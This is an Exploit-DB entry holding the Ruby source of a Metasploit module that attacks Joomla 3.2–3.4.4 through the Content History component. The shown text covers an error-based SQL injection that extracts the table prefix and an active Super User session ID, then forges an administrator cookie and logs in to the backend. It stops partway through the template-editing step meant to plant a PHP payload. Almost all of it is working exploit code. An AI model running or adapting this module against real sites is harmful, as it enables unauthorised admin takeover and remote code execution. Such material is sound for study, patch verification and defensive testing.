Exploit-DB #38797
Description: Joomla! 3.4.4 Component Content History - SQL Injection / Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2015-11-23
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Joomla Content History SQLi Remote Code Execution",
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in Joomla versions
        3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
        component in the core of Joomla. Triggering the SQL injection makes it possible
        to retrieve active Super User sessions. The cookie can be used to login to the
        Joomla administrator backend. By creating a new template file containing our
        payload, remote code execution is made possible.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Asaf Orpani', # Vulnerability discovery
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7857' ], # Admin session hijacking
          [ 'CVE', '2015-7297' ], # SQLi
          [ 'CVE', '2015-7857' ], # SQLi
          [ 'CVE', '2015-7858' ], # SQLi
          [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
          [ 'URL', 'http://developer.joomla.org/security-centre/[PII_REDACTED]1-core-sql-injection.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla 3.x <= 3.4.4', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 23 2015",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to Joomla', '/'])
        ], self.class)

  end

  def check

    # Request using a non-existing table
    res = sqli(rand_text_alphanumeric(rand(10)+6))

    if res && res.body =~ /`(.*)_ucm_history`/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe

  end


  def sqli( tableprefix )

    # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
    # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real admin sessions.

    sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php"),
      'vars_get' => {
        'option' => 'com_contenthistory',
        'view' => 'history',
        'list[ordering]' => '',
        'item_id' => '1',
        'type_id' => '1',
        'list[select]' => sql
        }
      })

    return res

  end


  def exploit

    # Request using a non-existing table first, to retrieve the table prefix
    res = sqli(rand_text_alphanumeric(rand(10)+6))

    if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
      table_prefix = $1
      print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
    end

    # Retrieve the admin session using our retrieved table prefix
    res = sqli("#{table_prefix}_")

    if res && res.code == 500 && res.body =~ /Duplicate entry &#039;([a-z0-9]+)&#039; for key/
      auth_cookie_part = $1[0...-1]
      print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
    else
      fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php")
    })

    if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
      cookie_begin = $1
      print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
    end

    # Modify cookie to authenticated admin
    auth_cookie = cookie_begin
    auth_cookie << "="
    auth_cookie << auth_cookie_part
    auth_cookie << ";"

    # Authenticated session
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie
      })

    if res && res.code == 200 && res.body =~ /Administration - Control Panel/
      print_status("#{peer} - Successfully authenticated as Administrator")
    else
      fail_with(Failure::Unknown, "#{peer} - Session failure")
    end


    # Retrieve template view
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'templates'
        }
      })

    # We try to retrieve and store the first template found
    if res &&